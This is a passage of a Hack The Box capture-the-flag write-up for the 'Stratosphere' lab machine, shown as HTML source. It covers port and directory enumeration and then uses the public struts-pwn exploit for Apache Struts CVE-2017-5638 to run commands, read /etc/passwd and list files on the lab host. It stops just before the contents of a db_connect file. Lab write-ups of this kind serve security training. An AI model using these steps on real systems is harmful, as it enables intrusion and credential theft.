&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;btn&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;GettingStarted.html&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;Get&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;started&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;ar
|   HTTPOptions:
|     HTTP/1.1 200
|     Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
|     Content-Length: 0
|     Date: Thu, 30 Aug 2018 23:36:01 GMT
|     Connection: close
|   RTSPRequest:
|     HTTP/1.1 400
|     Transfer-Encoding: chunked
|     Date: Thu, 30 Aug 2018 23:36:01 GMT
|     Connection: close
|   X11Probe:
|     HTTP/1.1 400
|     Date: Thu, 30 Aug 2018 23:36:02 GMT
|_    Connection: close
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-title: Stratosphere
8080/tcp open  http-proxy
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 1114
|     Date: Thu, 30 Aug 2018 23:36:02 GMT
|     Connection: close
|     &amp;lt;!doctype html&amp;gt;&amp;lt;html lang=&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;en&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;HTTP Status 404
|     Found&amp;lt;/title&amp;gt;&amp;lt;style type=&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;h1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Tahoma&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Arial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sans-serif&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;white&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;background-color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;#525D76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;22px&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;h2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Tahoma&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Arial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sans-serif&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;white&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;background-color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;#525D76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;16px&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;h3&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Tahoma&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Arial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sans-serif&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;white&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;background-color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;#525D76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;14px&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Tahoma&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Arial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sans-serif&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;black&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;background-color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;white&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Tahoma&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Arial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sans-serif&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;white&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;background-color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;#525D76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Tahoma&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Arial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sans-serif&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;background&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;white&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;black&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;12px&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;black&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;.name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;black&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;.line&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1px&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;background-color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;#525D76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;border&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;none&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&lt;/span&gt;
|   GetRequest:
|     HTTP/1.1 200
|     Accept-Ranges: bytes
|     ETag: W/&quot;1708-1519762495000&quot;
|     Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT
|     Content-Type: text/html
|     Content-Length: 1708
|     Date: Thu, 30 Aug 2018 23:36:01 GMT
|     Connection: close
|     &lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;meta&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;charset=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Stratosphere&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rel=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;stylesheet&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;text/css&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;main.css&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;background&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;header&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;main-header&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hidden&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;container&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;content-wrap&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;p&amp;gt;&amp;lt;i&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;fa fa-diamond&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;nav&amp;gt;&lt;/span&gt;
|     class=&quot;btn&quot; href=&quot;GettingStarted.html&quot;&amp;gt;Get started&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;/nav&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;/header&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;section&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;greeting&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;container&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;content-wrap&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Stratosphere&lt;span class=&quot;nt&quot;&gt;&amp;lt;br&amp;gt;&lt;/span&gt;We protect your credit.&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
|     class=&quot;btn&quot; href=&quot;GettingStarted.html&quot;&amp;gt;Get started now&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
|     &lt;span class=&quot;nt&quot;&gt;&amp;lt;p&amp;gt;&amp;lt;i&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ar
|   HTTPOptions:
|     HTTP/1.1 200
|     Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
|     Content-Length: 0
|     Date: Thu, 30 Aug 2018 23:36:01 GMT
|     Connection: close
|   RTSPRequest:
|     HTTP/1.1 400
|     Transfer-Encoding: chunked
|     Date: Thu, 30 Aug 2018 23:36:01 GMT
|_    Connection: close
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-title: Stratosphere
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at [https://nmap.org/cgi-bin/submit.cgi?new-service :
...[snip]...

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.22 seconds
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;From our enumeration we can observe that the following services are available on the host: &lt;em&gt;SSH&lt;/em&gt; (22), &lt;em&gt;HTTP Web service&lt;/em&gt; (80), and what appears to be another &lt;em&gt;HTTP Web service&lt;/em&gt; (8080).&lt;/p&gt;

&lt;h3 id=&quot;enumerating-webservice---port-80&quot;&gt;Enumerating Webservice - Port 80&lt;/h3&gt;

&lt;p&gt;Visiting the webservice on &lt;em&gt;port 80&lt;/em&gt; in a web browser brings us to the “Stratosphere” Web Application landing page. Most HTB boxes follow some sort of theme, or are a reference to some event. (Keeping in mind that the &lt;a href=&quot;https://www.synopsys.com/blogs/software-security/equifax-apache-struts-cve-2017-5638-vulnerability/&quot;&gt;Equifax breach&lt;/a&gt; was still fresh)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/stratosphere/2.png&quot; alt=&quot;&amp;quot;Stratosphere Homepage&amp;quot;&quot; title=&quot;Stratosphere Homepage&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Clicking on the “Getting Started” URL leads us to a “Site under construction” page as seen below.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/stratosphere/3.png&quot; alt=&quot;&amp;quot;Site under construction page&amp;quot;&quot; title=&quot;Site under construction page&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Enumerating the site with gobuster reveals the following directories. It seems as though this application is running apache tomcat. Attempting to authenticate to the tomcat manager with usual default credentials fails.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/stratosphere# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u  http://10.10.10.64/ -x php,html -s 200,204,301,302,307,403 -t 100  | tee gobuster_strato

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.64/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 307,403,200,204,301,302
[+] Extensions   : .php,.html
=====================================================
/index.html (Status: 200)
/manager (Status: 302)
/GettingStarted.html (Status: 200)
/Monitoring (Status: 302)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Visiting the &lt;code class=&quot;highlighter-rouge&quot;&gt;/Monitorting&lt;/code&gt; web content redirects us to to the &lt;em&gt;“Stratosphere Credit Monitoring”&lt;/em&gt; Application.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/stratosphere/4.png&quot; alt=&quot;&amp;quot;Stratosphere Credit Monitoring Application&amp;quot;&quot; title=&quot;Stratosphere Credit Monitoring Application&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The application has a unique web file extension of &lt;code class=&quot;highlighter-rouge&quot;&gt;.action&lt;/code&gt; which is associated with the Apache Struts url pattern. After some further research, we can learn that it is indeed a well-known extension for the Java WebSphere &amp;amp; Apache Struts applications.&lt;/p&gt;

&lt;p&gt;At this particular point if you are familiar with popular infosec news/events, you would know that the U.S Credit Monitoring organization known as “Equifax” was compromised through an unpatched apache struts vulnerability. Based on the similarities, and context clues of the “Stratosphere Credit Monitoring” we can maybe assume that this application is vulnerable to the “Apache Struts” RCE vulnerability.&lt;/p&gt;

&lt;p&gt;After some quick googling we come across the following PoC exploit for the Apache Struts, CVE-2017-5638 vulnerability called &lt;a href=&quot;https://github.com/mazen160/struts-pwn&quot;&gt;struts-pwn&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/stratosphere# git clone https://github.com/mazen160/struts-pwn.git
Cloning into 'struts-pwn'...
remote: Counting objects: 37, done.
remote: Total 37 (delta 0), reused 0 (delta 0), pack-reused 37
Unpacking objects: 100% (37/37), done.
root@dastinia:~/htb/stratosphere# cd struts-pwn/
root@dastinia:~/htb/stratosphere/struts-pwn# pip install -r requirements.txt
Requirement already satisfied: argparse in /usr/lib/python2.7 (from -r requirements.txt (line 1))
Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 2))
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;validating that the application is vulnerble with struts-pwn&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -h
usage: struts-pwn.py [-h] [-u URL] [-l USEDLIST] [-c CMD] [--check]

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Check a single URL.
  -l USEDLIST, --list USEDLIST
                        Check a list of URLs.
  -c CMD, --cmd CMD     Command to execute. (Default: id)
  --check               Check if a target is vulnerable.
root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --check

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] Status: Vulnerable!
[%] Done.
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;verifying that we have remote code execution&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c &quot;id; uname -a&quot;

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: id; uname -a
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--&amp;gt; ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 GNU/Linux

[%] Done.
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Now that we know we have successful remote code execution, lets try to escalate  our privileges further, and look into getting an interactive shell.&lt;/p&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;

&lt;h3 id=&quot;exploiting-apache-struts-rce-with-struts-pwn&quot;&gt;Exploiting Apache Struts RCE with Struts-Pwn&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;reading contents of /etc/passwd&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c &quot;cat /etc/passwd&quot;

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: cat /etc/passwd
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--&amp;gt; ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...[snip]...
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
lightdm:x:111:113:Light Display Manager:/var/lib/lightdm:/bin/false
pulse:x:112:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
avahi:x:113:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
saned:x:114:118::/var/lib/saned:/bin/false
richard:x:1000:1000:Richard F Smith,,,:/home/richard:/bin/bash
tomcat8:x:115:119::/var/lib/tomcat8:/bin/bash
mysql:x:116:120:MySQL Server,,,:/nonexistent:/bin/false

[%] Done.
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;Lets see what files are available to us in the current working directory of this struts application…&lt;/p&gt;

&lt;p&gt;&lt;em&gt;listing contents of current working directory&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c &quot;ls -la&quot;

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: ls -la
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--&amp;gt; ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

total 24
drwxr-xr-x  5 root    root    4096 Aug 30 19:46 .
drwxr-xr-x 42 root    root    4096 Oct  3  2017 ..
lrwxrwxrwx  1 root    root      12 Sep  3  2017 conf -&amp;gt; /etc/tomcat8
-rw-r--r--  1 root    root      68 Oct  2  2017 db_connect
drwxr-xr-x  2 tomcat8 tomcat8 4096 Sep  3  2017 lib
lrwxrwxrwx  1 root    root      17 Sep  3  2017 logs -&amp;gt; ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Aug 30 19:46 policy
drwxrwxr-x  4 tomcat8 tomcat8 4096 Feb 10  2018 webapps
lrwxrwxrwx  1 root    root      19 Sep  3  2017 work -&amp;gt; ../../cache/tomcat8

[%] Done.
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;getting the contents of db_connect&lt;/em&gt;&lt;/p&gt;

